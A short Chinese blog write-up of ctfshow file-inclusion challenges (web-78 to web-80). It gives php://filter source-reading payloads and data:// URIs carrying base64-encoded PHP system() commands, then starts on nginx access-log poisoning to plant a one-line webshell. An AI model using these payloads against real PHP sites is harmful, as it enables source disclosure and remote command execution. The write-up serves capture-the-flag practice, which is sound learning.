ctfshow-文件包含实战
web-78
1 | if(isset($_GET['file'])){ |
可以看到我们传入的file直接被文件包含,所以我们直接尝试filter协议看看能不能读源码:
1 | ?file=php://filter/read=convert.base64-encode/resource=flag.php |
然后发现直接就能读出,base64解码即可
web-79
1 | if(isset($_GET['file'])){ |
可以看到,传入的file中,php被替换成了???,所以我们换成data协议:
而且由于我们到时候要执行php代码,所以我们可以用base64把我们的命令加密:
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAuIik7Pz4= |
这里执行的是:
1 | <?php system("ls .");?> |
可以看到当前路径下有个flag.php
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== |
相当于执行:
1 | <?php system("tac flag.php");?> |
成功获得flag
web-80
1 | if(isset($_GET['file'])){ |
这次data协议也没了,当伪协议用不了的时候就得考虑日志文件包含
随意访问1.php,可以看到网站是nginx服务器,nginx的服务器日志目录是/var/log/nginx/access.log
1 | ?file=/var/log/nginx/access.log |
可以正常包含,所以我们可以考虑在日志文件里插入一句话木马,
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 S1eepingFish!